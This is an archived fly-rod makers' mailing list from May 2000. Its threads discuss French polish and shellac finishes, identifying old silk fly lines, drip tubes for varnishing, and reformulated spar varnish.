I take it "French Polish", is some form of shellac ? Most, or all of theshellac I've seen didn't seem all that durable. I'm quickly finding thatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it, but hadthe feeling it dries so that it can be worked. GMA----- Original Message ----- Subject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a short life. GMA George,I think the fellows who put the "French polish" on all those antiques inthe Louvre and the castles of England might be interested to hear that!*G*Art from bh887@lafn.org Wed May 10 20:59:35 2000 forged)) (envelope- from bh887@lafn.org) Subject: Re: Silk lines The odor of burning silk is quite unmistakeable. Lee----- Original Message ----- Subject: Re: Silk lines If it's plastic it will melt, where I would think silk would not. GMA----- Original Message -----From: "Shawn Pineo" Sent: Wednesday, May 10, 2000 7:43 PMSubject: Silk lines I think I hit pay dirt right here in my own house!! While searching adark corner of my house I found a piece of cardboard that I stashedawayquite a few years ago and forgot about. What's so special about a pieceof cardboard you ask? Well nothing but what is on it is! A long time agoI bought a old GILMOUR reel at a flea market and it had old line on itso I stripped it and wound it on a piece of cardboard for laterinspection.... Now that I know a little more I realized that there arein fact three pieces here. First a bunch of old backing, garbage. Next abraided yellow line which isn't sticky (don't know what it is??) Thirdis a caramel colored ,sticky line which I think might be silk???What I would like to know is, how do you know it is silk and isthere some other old line I could have this confused with? Both theyellow and caramel colored line appear to be level, braided and coated. HELP????? from bh887@lafn.org Wed May 10 21:07:00 2000 forged)) (envelope- from bh887@lafn.org) "Art Port" Subject: Re: Re:Wrapping over varnish One of the best "French Polish" finishes we used to use on rifle stocks wasa mixture of half shellac and half boiled linseed oil rubbed in on the palmof the hand. After a 24 hour drying period, take it off with FINE (OOOO)steel wool and repeat. On stocks 6 coats worked fine, depending on theopeness of the wood pores. The object is to fill the pores with themixtureand then give it one or two more coats. I have stocks finished this waywhich have lasted 40 years!----- Original Message ----- Subject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all of theshellac I've seen didn't seem all that durable. I'm quickly finding thatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it, buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a short life. GMA George,I think the fellows who put the "French polish" on all those antiques inthe Louvre and the castles of England might be interested to hear that!*G*Art from flyrod@pop.digisys.net Wed May 10 21:20:04 2000 Subject: Hey Harry,(& all) Date sent: Tue, 09 May 2000 22:49:01 -0500 Subject: Re: Varnishing guides vs no guides Tony, and others,You guys who are drip/dip finishing with guides on reallyought to try one ofthe clear plastic tubes for holding flourescent lighting tubes. hey,Harry, Are these tubes flexible or semi-rigid? any trouble keeping them straight so the blank doesnt rub? What did you use also, do you folks store your finish in the drip tube when not in use? And for all who replied to my post about which books to get, to get me started , as of Friday I received both, The Lovely Reed, and Ray Goulds book and have found the pair of them to be execptional. JAcks book is very simply written, and Rays provides a little more technical info where needed, A big thanks to both of them, and to all who pointed me in the right direction. Time to start building equipment, the shop is finally done! Catch a bign'Jim FlinchbaughNW Montana from nobler@satx.rr.com Wed May 10 21:23:04 2000 SMTPSVC(5.5.1877.357.35);Wed, 10 May 2000 21:23:58 -0500 "Art Port" Subject: Re: Re:Wrapping over varnish Where do they sell French Polish ? I can't ever recall seeing it on a shelf,where such finishing products are sold ? I've often wondered about using Linspeed gunstock finish. I did some gunstocks with it over 20 years ago, and they are still perfect. GMA----- Original Message ----- Subject: Re:Wrapping over varnish One of the best "French Polish" finishes we used to use on rifle stockswasa mixture of half shellac and half boiled linseed oil rubbed in on thepalmof the hand. After a 24 hour drying period, take it off with FINE (OOOO)steel wool and repeat. On stocks 6 coats worked fine, depending on theopeness of the wood pores. The object is to fill the pores with themixtureand then give it one or two more coats. I have stocks finished this waywhich have lasted 40 years!----- Original Message -----From: nobler Sent: Wednesday, May 10, 2000 5:22 PMSubject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all of theshellac I've seen didn't seem all that durable. I'm quickly finding thatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it, buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a shortlife. GMA George,I think the fellows who put the "French polish" on all those antiquesinthe Louvre and the castles of England might be interested to hearthat!*G*Art from pmgoodwin@earthlink.net Wed May 10 21:45:24 2000 Subject: Re: Re:Wrapping over varnish French polish is a method for applying shellac. You rub it on with a pad that is soaked in shellac. not to damp andnot to dry. then you rub and rub and rub. I've used it on a few piecesof furniture that I've built. It's something that you have to love to door get paid a lot of money for. Paul ----- Original Message ----- Subject: Re:Wrapping over varnish Where do they sell French Polish ? I can't ever recall seeing it on ashelf,where such finishing products are sold ? I've often wondered about using Linspeed gunstock finish. I did some gunstocks with it over 20 years ago, and they are still perfect. GMA----- Original Message -----From: "Lee Freeman" Sent: Wednesday, May 10, 2000 9:08 PMSubject: Re:Wrapping over varnish One of the best "French Polish" finishes we used to use on rifle stockswasa mixture of half shellac and half boiled linseed oil rubbed in on thepalmof the hand. After a 24 hour drying period, take it off with FINE(OOOO)steel wool and repeat. On stocks 6 coats worked fine, depending ontheopeness of the wood pores. The object is to fill the pores with themixtureand then give it one or two more coats. I have stocks finished this waywhich have lasted 40 years!----- Original Message -----From: nobler Sent: Wednesday, May 10, 2000 5:22 PMSubject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all oftheshellac I've seen didn't seem all that durable. I'm quickly findingthatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it,buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a shortlife. GMA George,I think the fellows who put the "French polish" on all thoseantiquesinthe Louvre and the castles of England might be interested to hearthat!*G*Art from caneman@clnk.com Wed May 10 22:09:17 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com; Wed, 10 May 2000 22:05:08 -0500 Subject: French polish... was Wrapping over varnish George,French polishing is a method of applying shellac. You cut flakedshellac with denatured alcohol, different strengths for different stages ofthe finishing. It is applied with a pad slightly dampened with Olive oil.These finishes, if properly applied, are absolutely beautiful, and if you doit right, it is very durable. Later,Bob -----Original Message----- Subject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all of theshellac I've seen didn't seem all that durable. I'm quickly finding thatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it, buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a short life. GMA George,I think the fellows who put the "French polish" on all those antiques inthe Louvre and the castles of England might be interested to hear that!*G*Art from caneman@clnk.com Wed May 10 22:11:33 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com; Wed, 10 May 2000 22:07:11 -0500 ,"Art Port" Subject: Re: Re:Wrapping over varnish George,Many luthier supply houses sell a premixed french polish. One that isvery good is called French Lac... I think I have even seen it in some of thebetter woodworking supply catalogs. Bob -----Original Message----- ; Art Port Subject: Re:Wrapping over varnish Where do they sell French Polish ? I can't ever recall seeing it on ashelf,where such finishing products are sold ? I've often wondered about using Linspeed gunstock finish. I did some gunstocks with it over 20 years ago, and they are still perfect. GMA----- Original Message -----From: "Lee Freeman" Sent: Wednesday, May 10, 2000 9:08 PMSubject: Re:Wrapping over varnish One of the best "French Polish" finishes we used to use on rifle stockswasa mixture of half shellac and half boiled linseed oil rubbed in on thepalmof the hand. After a 24 hour drying period, take it off with FINE (OOOO)steel wool and repeat. On stocks 6 coats worked fine, depending on theopeness of the wood pores. The object is to fill the pores with themixtureand then give it one or two more coats. I have stocks finished this waywhich have lasted 40 years!----- Original Message -----From: nobler Sent: Wednesday, May 10, 2000 5:22 PMSubject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all oftheshellac I've seen didn't seem all that durable. I'm quickly findingthatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it,buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a shortlife. GMA George,I think the fellows who put the "French polish" on all those antiquesinthe Louvre and the castles of England might be interested to hearthat!*G*Art from nobler@satx.rr.com Wed May 10 22:16:15 2000 SMTPSVC(5.5.1877.357.35);Wed, 10 May 2000 22:17:04 -0500 Subject: Re: French polish... was Wrapping over varnish It's always worth looking at the different ways to do things. The onlyshellac I ever remember was some gooey stuff, that I had a hard timegettingoff. I'll have to look into this medium one day, just to see it. I sure hopethey don't eliminate the old spar varnish tho', or change it as they seem tobe doing to the urethanes. GMA----- Original Message ----- Subject: French polish... was Wrapping over varnish George,French polishing is a method of applying shellac. You cut flakedshellac with denatured alcohol, different strengths for different stagesofthe finishing. It is applied with a pad slightly dampened with Olive oil.These finishes, if properly applied, are absolutely beautiful, and if youdoit right, it is very durable. Later,Bob -----Original Message-----From: nobler Port Date: Wednesday, May 10, 2000 7:18 PMSubject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all of theshellac I've seen didn't seem all that durable. I'm quickly finding thatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it, buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a shortlife. GMA George,I think the fellows who put the "French polish" on all those antiquesinthe Louvre and the castles of England might be interested to hear that!*G*Art from avyoung@iinet.net.au Wed May 10 23:03:21 2000 Thu, 11 May 2000 12:02:43 +0800 Thu, 11 May 2000 12:02:38 +0800 Subject: Re:Wrapping over varnish I don't think French Polish is actually a polish but a type of finish usingshellac. It involves soaking a "rubber" being a wad of cotton fabric inshellac then wraping it another peice of cotton which you bunch up and rubin fig 8's over a surface keeping as much of the surface you're working onwet which isn't easy on a hot day as it all dries so fast.The dif between a good french polisher and poor one is the trick you needto learn involving adding very small amounts of linseed oil to the surfaceas you rub. Without it the rubber will begin to stick as the shellac tacksup but as the oil wont mix with the shellac too much will cause blooming.It's quite a tricky thing to learn. Really nice pianoes are french polishedbut as you mention it's not overly hard wearing but then pianoes generalyonly have to contend with the occasional backside and glass of wine whichis why I mentioned it *may* not be a good finish alone for a rod but itdepends on how and where the rods used. It may be fine.You wouldn't french polish a rod, just apply several thin coats of shellacseveral with a clean cloth or brush then wax it. Tony At 07:22 PM 5/10/00 -0500, nobler wrote:I take it "French Polish", is some form of shellac ? Most, or all of theshellac I've seen didn't seem all that durable. I'm quickly finding thatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it, but hadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a short life. GMA George,I think the fellows who put the "French polish" on all those antiques inthe Louvre and the castles of England might be interested to hear that!*G*Art /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from jczimny@dol.net Wed May 10 23:17:20 2000 Subject: Re: Wrapping over varnish The term, French Polish, does not refer to a type of finish but to a process.The finishing medium is shellac. The finisher wraps cotton batting in apiece ofcloth ( this is called a tampon) puts on a few drops of boiled linseed oil (forlubrication), then fills the tampon's batting with just the right amount ofshellac. The finisher pats the tampon onto the flat surface of the object inaquick back and forth motion that produces a rapid thumping sound that ischaracteristic. The trick is to melt and rapidly re-melt the shellac and ,ofcourse, doing this very smoothly and evenly. It takes quite a bit of skill;but,the result can be astonishing.I don't think you can do it on fly rods.John Z nobler wrote: Where do they sell French Polish ? I can't ever recall seeing it on a shelf,where such finishing products are sold ? I've often wondered about using Linspeed gunstock finish. I did some gunstocks with it over 20 years ago, and they are still perfect. GMA----- Original Message -----From: "Lee Freeman" Sent: Wednesday, May 10, 2000 9:08 PMSubject: Re:Wrapping over varnish One of the best "French Polish" finishes we used to use on rifle stockswasa mixture of half shellac and half boiled linseed oil rubbed in on thepalmof the hand. After a 24 hour drying period, take it off with FINE (OOOO)steel wool and repeat. On stocks 6 coats worked fine, depending ontheopeness of the wood pores. The object is to fill the pores with themixtureand then give it one or two more coats. I have stocks finished this waywhich have lasted 40 years!----- Original Message -----From: nobler Sent: Wednesday, May 10, 2000 5:22 PMSubject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all of theshellac I've seen didn't seem all that durable. I'm quickly finding thatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it, buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a shortlife. GMA George,I think the fellows who put the "French polish" on all those antiquesinthe Louvre and the castles of England might be interested to hearthat!*G*Art from Jon.Beckton@asml.nl Thu May 11 01:56:22 2000 (MET DST) (MET DST) Subject: Re: Wrapping over varnish A similar process is used in refinishing old furniture with polyurethanevarnishes using the tampon (I never realised it was called that) and 20%thinned varnish. You paint on a coat of varnish then rub the varnish inwith the tampon until it just starts to feel sticky. The varnish mostlyall goes into the wood so there's no wet coat left to trap dust and itleaves the wood looking as though it's just been freshly waxed. I use ita lot on stuff for the house and am very satisfied with the results,both in terms of appearance and durability. Do you think this might workon cane? "J. C. Zimny" wrote: The term, French Polish, does not refer to a type of finish but to aprocess.The finishing medium is shellac. The finisher wraps cotton batting in apiece ofcloth ( this is called a tampon) puts on a few drops of boiled linseed oil (forlubrication), then fills the tampon's batting with just the right amountofshellac. The finisher pats the tampon onto the flat surface of the objectin aquick back and forth motion that produces a rapid thumping sound that ischaracteristic. The trick is to melt and rapidly re-melt the shellac and ,ofcourse, doing this very smoothly and evenly. It takes quite a bit of skill;but,the result can be astonishing.I don't think you can do it on fly rods.John Z nobler wrote: Where do they sell French Polish ? SNIPPED the rest of the thread from nsflyrods@ns.sympatico.ca Thu May 11 06:20:05 2000 0300 Subject: Re: Silk lines Thanks all,it appears that I have nothing more than some old nylon:^( What a bummer!!! I will keep my eyes open from now on though.The reel is still kind of nice even though I haven't beenable to find out much about it. Perhaps someone here might be able tohelp?The reel is a Allcocks "GILMOUR" Redditch, England and it seems toresemblea JW Young Pridex(???)It is black and is a click pawl type. The reel is 3 1/2" round and is fairlynarrow. It is light for a older reel , is in very good condition and runssmoothly. Shawn Shawn Pineo wrote: I think I hit pay dirt right here in my own house!! While searching adark corner of my house I found a piece of cardboard that I stashed awayquite a few years ago and forgot about. What's so special about a pieceof cardboard you ask? Well nothing but what is on it is! A long time agoI bought a old GILMOUR reel at a flea market and it had old line on itso I stripped it and wound it on a piece of cardboard for laterinspection.... Now that I know a little more I realized that there arein fact three pieces here. First a bunch of old backing, garbage. Next abraided yellow line which isn't sticky (don't know what it is??) Thirdis a caramel colored ,sticky line which I think might be silk???What I would like to know is, how do you know it is silk and isthere some other old line I could have this confused with? Both theyellow and caramel colored line appear to be level, braided and coated. HELP????? from fbcwin@3g.quik.com Thu May 11 06:56:22 2000 Thu, 11 May 2000 04:56:21 -0700 Subject: Re: Hey Harry,(& all) Jim,I would describe the tubes as semi-rigid. They are plenty stiff enoughto keep from collapsing when filled with varnish. I use standard PVC fittings forend caps.I glue a cap on the bottom, and use a pressure fit for the top, The fit isair-tight, and I leave the varnish in the tube all the time. One thing towatch,though. Over time, the sealed tube seems to distort its shape. There's onein myshop now that is no longer round, but decidedly egg shaped. If it gets muchworse,I'll take the cap off for a minute to let a little air in.Plenty of questions is okay. That's what this list is for.... Harry Jim Flinchbaugh wrote: hey,Harry, Are these tubes flexible or semi-rigid? any troublekeeping them straight so the blank doesnt rub? What did you use also, do you folks store your finish in the drip tube when not in use? And for all who replied to my post about which books to get, to getme started , as of Friday I received both, The Lovely Reed, andRay Goulds book and have found the pair of them to beexecptional. JAcks book is very simply written, and Rays providesa little more technical info where needed, A big thanks to both ofthem, and to all who pointed me in the right direction. Time to startbuilding equipment, the shop is finally done! from Patrick.Coffey@PSS.Boeing.com Thu May 11 08:10:34 2000 GAA27829 ESMTP; Thu, 11 May 2000 06:10:18 -0700 (5.5.2650.21) ,"'nobler@satx.rr.com'" Subject: RE: French polish... was Wrapping over varnish I made a varnish for a mandolin I made and used seed lac, which is shellacin its raw stage. Seedlac iscinnamon colored and contains wax and combined with poppy oil and a fewresins makes a pretty flexible finish. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 ----------From: nobler[SMTP:nobler@satx.rr.com] Sent: Wednesday, May 10, 2000 8:18 PM Subject: Re: French polish... was Wrapping over varnish It's always worth looking at the different ways to do things. The onlyshellac I ever remember was some gooey stuff, that I had a hard timegettingoff. I'll have to look into this medium one day, just to see it. I sure hopethey don't eliminate the old spar varnish tho', or change it as they seemtobe doing to the urethanes. GMA----- Original Message -----From: "Bob Nunley" Sent: Wednesday, May 10, 2000 10:07 PMSubject: French polish... was Wrapping over varnish George,French polishing is a method of applying shellac. You cut flakedshellac with denatured alcohol, different strengths for differentstagesofthe finishing. It is applied with a pad slightly dampened with Olive oil.These finishes, if properly applied, are absolutely beautiful, and if youdoit right, it is very durable. Later,Bob -----Original Message-----From: nobler Port Date: Wednesday, May 10, 2000 7:18 PMSubject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all of theshellac I've seen didn't seem all that durable. I'm quickly finding thatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it, buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a shortlife. GMA George,I think the fellows who put the "French polish" on all those antiquesinthe Louvre and the castles of England might be interested to hearthat!*G*Art from piscator@crosswinds.net Thu May 11 08:30:14 2000 (envelope- from piscator@crosswinds.net) Subject: Hi gang, Just got off the phone with the McCloskey's tech service people. The newvarnishformulation of Man O'War is more solids, less oil. (Suprise). They can'ttellyou how to make it less thick as that would be a violation of the new law,butshe did say that the clean-up solvent is mineral spirits and that it wouldcompletelymix with the varnish on my brush when I cleaned up. So to thin, "usemineralspirits, but you didn't hear it from us." from bhoy@inmind.com Thu May 11 09:03:17 2000 Thu, 11 May 2000 09:42:27 -0400 Subject: Re: Re[2]: McCloskey's Man 'O War Spar "Douglas P. Easton" Seems to me I saw a post on this subject in the archives Re: formula for making your own varnish, but I can't find it now. As I recall, there were many more ingredients than I expected. Bill Hoy At 03:52 AM 5/10/00, Tony Young wrote:It's hard to believe out of all the people on this list nobody knows how tomake varnish. I know people used to make their own paint and I *thought*varnish was un pigmented paint. Could be wrong but that's what I thought.Wouldn't varnish be basicaly linseed or tung oil with dryers added? Tony At 11:35 PM 5/9/00 -0500, nobler wrote:Well, the EPA is no better. If they are allowed to continue, we soon willonly be able to buy water soluble paints of any kind ! GMA----- Original Message -----From: "Douglas P. Easton" Sent: Tuesday, May 09, 2000 6:54 PMSubject: Re: Re[2]: McCloskey's Man 'O War Spar At 09:08 AM 5/9/2000 -0500, nobler wrote:OSHA has reared its ugly head in more than one industry ! It's ourgovernment at work again. Dope used in the construction of aircraft,bothfull scale and model size, has been drastically altered to fit OSHAstandards. Auto lacquer is hard to find in any store today. These OSHApeople haven't a clue, as to what a decent product needs, and only wesuffer. Many in OSHA look at the solvents used as just another way ofglueor paint spray sniffing, for teens. How it affects the normal adult inhiswork place is totally ignored ! Although OSHA has responibnility for the safety of those in thre workplacethe EPA has responsibility for air quality (and water quality)regulationat the federal level. The EPA, right or wrong, sets minimmum VOCemissionstandards. An excellent discussion of the composition and use ofpaintsandcoatings can be found at http://www3.stratos.net/akrist/pages/paint.htm.Iquote the following from that page: "Today, most oil paint products are Alkyds. Natural oil ingredients aremodified, (chemically reacted upon by, probably, alcohol), to becomemorehard, durable, and better suited for specific applications than in theiroriginal form. Unfortunately, the solvents used in oil based productsrelease by evaporation VOCs, (Volitile Organic Compounds) into theatmosphere. VOCs react with other hydrocarbons and nitrogen oxidesin thepresence of sunlight to contribute in the creation of ground- levelozone.Ground-level ozone is a major component of smog. The EPA,(EnvironmentalProtection Agency), is one of many agencies, (others State and local),responsible for regulation product VOCs. Generally, if a paint productissold in your area, it is almost certainly VOC compliant in your area." -Doug Subject: RE: McCloskey's Man 'O War SparAuthor: at Internet-MailDate: 5/8/00 6:36 PM In a message dated 5/8/0 1:49:37 PM, andrew_harsanyi@ibi.comwrites: an unknown? >> Andy - As far as I am concerned, the new stuff is not as good as theold.(Remember that I brush varnish) I was getting an uneven appearingsurfacewith the new stuff, and could only get an even appearance if Irubbeditout.I was able to pretty much solve the problem by putting somevolatileoilsback in. You don't need much. A tablespoon or two to a gallon shoulddoit. Idon't know whether or not it will help with a dipping set up. Nothingisasgood as the formulation they had 15-20 years ago. Every time IvarnishIcurse the government for protecting me. Doug EastonTonawanda, NY /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from bhoy@inmind.com Thu May 11 09:07:27 2000 Thu, 11 May 2000 09:52:04 -0400 Subject: Re: McCloskey's Man 'O War Spar , A few years ago I helped build a reproduction batteau (flat-bottomed 19th Century River barge) to float down the James River. We used oakum tocaulk the seams and boiled linseed oil as a preservative. Linseed oil works fine nine times. Bill Hoy At 11:53 AM 5/10/00, Tony Young wrote:I know from using it on my workbench boiled linseed oil will in time dryall by itself and it looks pretty nice but it does take time. Raw linseedwill never really dry.I use raw linseed on some of the bits on my boat like the mooring cleat,tiller and hand rails. Although it never seems to dry completely it doessoak into the wood which in the case of exposed wood and these bits areasexposed as you can get it does give extended life to whatever is soaked init.So, if you do use linseed oil on a rod I'd think you'd need pale boiledlinseed. Tony At 08:11 AM 5/10/00 -0500, nobler wrote:It's my understanding that even linseed oil dries, and can be rubbed outandpolished. PHY once told me that this was all he used on his personalrodsoften, as the glue joints were totally water proof. I think it's the addedresins that make better varnishes last and protect better. I repeat,"think"! GMA----- Original Message -----From: "David Rinker" Cc: Sent: Wednesday, May 10, 2000 7:21 AMSubject: RE: McCloskey's Man 'O War Spar Ive been interested in this thread on the reformulation of varnishes bytheEPA. When reintroducing oil back into a varnish would that be tung,linseed, or stand oil? What would be the effect of adding oil vs.addingsolvent to the varnish film? Should they be added in combination foradesired film?-----Original Message-----From: owner- rodmakers@wugate.wustl.edu Sent: Sunday, May 07, 2000 5:30 AM Cc: rodmakers@wugate.wustl.eduSubject: Re: McCloskey's Man 'O War Spar I have no idea of what could have been added that would have createdripples. Imight suspect that the makers have done what other manufacturershave doneandsimply increase the solids content through the withdrawl of the usualpercentage ofreducer. This would tend to increase both surface tension and dry timeofthevarnish.The drying time can be slowed by increasing the oil contentandadding athinner that won't "cook off" too rapidily. I suggest the beststeam-distilledturpentine for this.Also, It is a very easy thing to call the customer service people andaskhow tomodify the varnish so that it works well.John Z mcanultj@svm.vetmed.wisc.edu wrote: To add a little more info to the mix, FWIW. I was in apaint/varnishsupplier here yesterday and was looking at some P&L VitralyteUVSparand asked the owner about reformulations mandated by OSHA. HesaidtheP&L had not been reformulated because it already contained ahighamount of solids and thus did not exceed the limits on VOC's(volatileorganics). He said the ones that required reformulation werethosethat used a large amount of thinners or other solvents in theirformulas and thus released lots of vapors. As Tom mentionsbelow,adding back some of these may help. However, I don't know whatelsethey may have added to make up for the components that wereremovedsoyour end product may yet be different and not behave as youwouldprefer.$0.02Jon McAnulty ______________________________ Reply Separator_________________________________Subject: RE: McCloskey's Man 'O War SparAuthor: at Internet-MailDate: 5/8/00 6:36 PM In a message dated 5/8/0 1:49:37 PM, andrew_harsanyi@ibi.comwrites: unknown? >> Andy - As far as I am concerned, the new stuff is not as good as theold.(Remember that I brush varnish) I was getting an uneven appearingsurfacewith the new stuff, and could only get an even appearance if I rubbeditout.I was able to pretty much solve the problem by putting some volatileoilsback in. You don't need much. A tablespoon or two to a gallon shoulddoit. Idon't know whether or not it will help with a dipping set up. Nothingisasgood as the formulation they had 15-20 years ago. Every time Ivarnish Icurse the government for protecting me. /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from flytyr@southshore.com Thu May 11 09:17:15 2000 Thu, 11 May 2000 09:25:01 -0500 Subject: Re: Hey Harry,(& all) Jim,These tubes are heavy enough. I drain the varnish back into the original canafteruse. There is a thin varnish film left in the tube. After over 10 rods thevisibilitythrough the tube is still good. When it gets bad enough to where I can't seethe rodany more I will just replace the tube. They are cheap enough.To keep the rod from hitting the sides I just stick three round head Quiltpins inthe masking tape that I wrap the ferrules with. Can send you a scan of thatif youwant it.Tony FlyTyr@southshore.com Jim Flinchbaugh wrote: Date sent: Tue, 09 May 2000 22:49:01 -0500 From: Harry Boyd Subject: Re: Varnishing guides vs no guides Tony, and others,You guys who are drip/dip finishing with guides on reallyought to try one ofthe clear plastic tubes for holding flourescent lighting tubes. hey,Harry, Are these tubes flexible or semi-rigid? any troublekeeping them straight so the blank doesnt rub? What did you use also, do you folks store your finish in the drip tube when not in use? And for all who replied to my post about which books to get, to getme started , as of Friday I received both, The Lovely Reed, andRay Goulds book and have found the pair of them to beexecptional. JAcks book is very simply written, and Rays providesa little more technical info where needed, A big thanks to both ofthem, and to all who pointed me in the right direction. Time to startbuilding equipment, the shop is finally done! Catch a bign'Jim FlinchbaughNW Montana from DNHayashida@aol.com Thu May 11 09:19:11 2000 Subject: Re: French polish... was Wrapping over varnish If you want something really exotic ask Max Sato aboutJapanese Lacquer - the same stuff they used to use forsamurai armor.Darryl from bhoy@inmind.com Thu May 11 09:26:24 2000 Thu, 11 May 2000 10:10:21 -0400 Subject: Re: Hey Harry,(& all) The tube protectors I've found at the local home improvement center all seem very flimsy. Are they ok for holding varnish? (A mistake here could really lead to an intense discussion with my wife). I've found clear pvc pipe at McMaster Carr, but they are quite expensive. My idea is to use a 2" diamater tube and coat all three sections at a time, rigging some kind of holder at the top and bottom of the sections. Anybody tried this? Bill Hoy At 07:51 AM 5/11/00, Harry Boyd wrote:Jim,I would describe the tubes as semi-rigid. They are plenty stiff enough to keep from collapsing when filled with varnish. I use standard PVC fittings for end caps.I glue a cap on the bottom, and use a pressure fit for the top, The fit isair-tight, and I leave the varnish in the tube all the time. One thing to watch,though. Over time, the sealed tube seems to distort its shape. There's one in myshop now that is no longer round, but decidedly egg shaped. If it gets much worse,I'll take the cap off for a minute to let a little air in.Plenty of questions is okay. That's what this list is for.... Harry Jim Flinchbaugh wrote: hey,Harry, Are these tubes flexible or semi-rigid? any troublekeeping them straight so the blank doesnt rub? What did you use also, do you folks store your finish in the drip tube when not in use? And for all who replied to my post about which books to get, to getme started , as of Friday I received both, The Lovely Reed, andRay Goulds book and have found the pair of them to beexecptional. JAcks book is very simply written, and Rays providesa little more technical info where needed, A big thanks to both ofthem, and to all who pointed me in the right direction. Time to startbuilding equipment, the shop is finally done! from rmoon@ida.net Thu May 11 10:00:07 2000 0000 Art Port Subject: Re: Wrapping over varnish Tony A couple of comments. "whichis why I mentioned it *may* not be a good finish alone fora rod" I would disagree. I have finished dozens of rods with french polishmethods. Some as long ago as twenty years ago. They are all in use andhave never even needed a touch up Fortunately none of the owners usesmartini glasses with a small enouth base to lay on one of the flats. "You wouldn't french polish a rod, just apply several thincoats of shellacseveral with a clean cloth or brush then wax it." This may not work. It is important to remember that french polishdepends on both the shellac and the oil. Ralph from avyoung@iinet.net.au Thu May 11 10:49:42 2000 Thu, 11 May 2000 23:49:21 +0800 Thu, 11 May 2000 23:49:17 +0800 Subject: Re: Wrapping over varnish rodmakers@wugate.wustl.edu,Art Port Ralph, I'm not surprised to hear of your experience with shellac as the onlycoating on a rod but not having tried it nor seen or heard of it except invague mentions of some Hardy rods I'm open to suggestion or experience.But from what I've seen of French Polish the oil is just a lubricant toprevent the rubber sticking and it's the shellac that's actually beingcoated on the item. The very small amounts I and the pros I worked withused was almost negligable and too much caused problems. Are you actually mixing linseed or tung oil with the shellac? Tony At 08:57 AM 5/11/00 -0600, Ralph W Moon wrote:Tony A couple of comments. "whichis why I mentioned it *may* not be a good finish alone fora rod" I would disagree. I have finished dozens of rods with french polishmethods. Some as long ago as twenty years ago. They are all in use andhave never even needed a touch up Fortunately none of the owners usesmartini glasses with a small enouth base to lay on one of the flats. "You wouldn't french polish a rod, just apply several thincoats of shellacseveral with a clean cloth or brush then wax it." This may not work. It is important to remember that french polishdepends on both the shellac and the oil. Ralph /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from caneman@clnk.com Thu May 11 10:49:55 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com for ;Thu, 11 May 